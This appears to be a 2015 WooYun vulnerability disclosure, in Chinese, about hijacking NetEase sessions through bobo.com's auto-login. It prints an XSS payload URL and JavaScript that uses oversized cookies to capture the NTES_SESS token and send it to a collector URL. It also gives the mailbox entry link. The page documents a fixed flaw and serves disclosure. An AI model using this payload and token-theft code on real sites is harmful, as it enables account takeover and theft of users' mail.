当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148110

漏洞标题:网易用户登陆状态下点我的链接我就可进入其邮箱、云笔记等服务(不支持某些版本IE)

相关厂商:网易

漏洞作者: 呆子不开口

提交时间:2015-10-20 17:38

修复时间:2015-12-05 17:34

公开时间:2015-12-05 17:34

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-20: 细节已通知厂商并且等待厂商处理中
2015-10-21: 厂商已经确认,细节仅向厂商公开
2015-10-31: 细节向核心白帽子及相关领域专家公开
2015-11-10: 细节向普通白帽子公开
2015-11-20: 细节向实习白帽子公开
2015-12-05: 细节向公众公开

简要描述:

这里天网传网易密码泄漏,我赶紧去改了下我的密码。改完后继续留在网易冲浪,发现一个很妙的地方,可以看女人跳舞。我年纪也不小了,于是开心的看了起来
看着女主播的舞蹈,我上下半身忍不住齐思考,发现......网易的用户在登陆状态下点我的链接,我就可进入其网易邮箱、云笔记、花田等网易服务。chrome、火狐、edge都能中招。IE某些版本默认显示友好HTTP错误,所以不支持某些IE版本

详细说明:

这里天网传网易密码泄漏,我赶紧去改了下我的密码。改完后继续留在网易冲浪,发现一个很妙的地方,叫bobo
bobo.com是网易旗下的一个网站,一个看女人的网站,一个看女人跳舞的网站。我年纪也不小了,于是开心的看了起来
看着视频里的女主播的舞蹈,我上下半身都忍不住思考,发现bobo的自动登陆有点问题
网易用户登陆状态下,再访问www.bobo.com,会自动登陆bobo。自动登陆流程如下
先跳到163去请求登陆,如下

http://bobo.163.com/checkAuth?url=http://www.bobo.com/&


163那边再返回认证凭证NTES_SESS,上面的请求会302跳转到如下请求

http://www.bobo.com/auth?NTES_SESS=eVDnHhKqQ5phQfq.SUhKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0Fz3t.Al2XXgmlY5D8B6zOijFOLH5QM2JXXXXXXXXXXXXLpu7_yJRQLaO0UEF8WpHDS1qJ4_Wmt8qKDG0QHAMnsgcZsae_Af0Ow.65B4BcoDsu9xS1v45ORinZLH&url=http://www.bobo.com/&


最后302跳回到首页,设置完登陆cookie,认证成功
跳回

http://www.bobo.com/


所以,只要偷到NTES_SESS即可,对我来说,需要一个www.bobo.com的XSS即可
我戴上眼镜,发现了一个,是js里的xss,完美的不搭理xss filter。如下

http://www.bobo.com/anchor/upload?functionName=memberShipUpload=null;alert(1);aaa


下面用xss来偷登陆流程中的NTES_SESS
有xss后,就可以在www.bobo.com域执行js了。先用js设置个超长cookie(一会会有用)
然后嵌入一个iframe去请求http://bobo.163.com/checkAuth?url=http://www.bobo.com/&,会302跳转到
http://www.bobo.com/auth?NTES_SESS=eVDnHhKqQ5phQfq.SUhKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0Fz3t.Al2XXgmlY5D8B6zOijFOLH5QM2JXXXXXXXXXXXXLpu7_yJRQLaO0UEF8WpHDS1qJ4_Wmt8qKDG0QHAMnsgcZsae_Af0Ow.65B4BcoDsu9xS1v45ORinZLH&url=http://www.bobo.com/&
这个时候由于我们设置了超长cookie,所以此请求会失败无法继续跳转
这时,我们通过iframe.contentWindow.location.href来读取iframe当前加载的url,就可以获取到url里的NTES_SESS值了
代码如下:

for (i = 0; i < 20; i++) {
document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth';
}
var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&";
iframe.addEventListener('load', function(){
var ntes = iframe.contentWindow.location.href;
var img1 =document.createElement('img');
img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes);
for (i = 0; i < 20; i++) {
document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth';
}
}, false);
document.body.appendChild(iframe);


此方法不支持某些版本的IE,因为IE在超长cookie访问后发现是400错误后,显示的是自己本地的HTML,所以xss无权限读取到当前iframe的url
获取到NTES_SESS后,可以替换自己登陆账号里的ntes_sess,可以进入网易的服务。youdao域下的也一样。
修改完cookie后,可以通过如下请求
http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight=1&verifycookie=1&language=-1&style=-1&from=newmsg_www&df=ydweb
进入用户邮箱

漏洞证明:

收到的用户ntes_sess

QQ截图20151020162241.png


示例1

QQ截图20151020161101.png


示例2

QQ截图20151020161613.png

修复方案:

修复xss
自动登陆架构需要改进,具体方案这里就不细说

版权声明:转载请注明来源 呆子不开口@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-21 17:33

厂商回复:

漏洞已修复,谢谢您对网易产品的关注。

最新状态:

暂无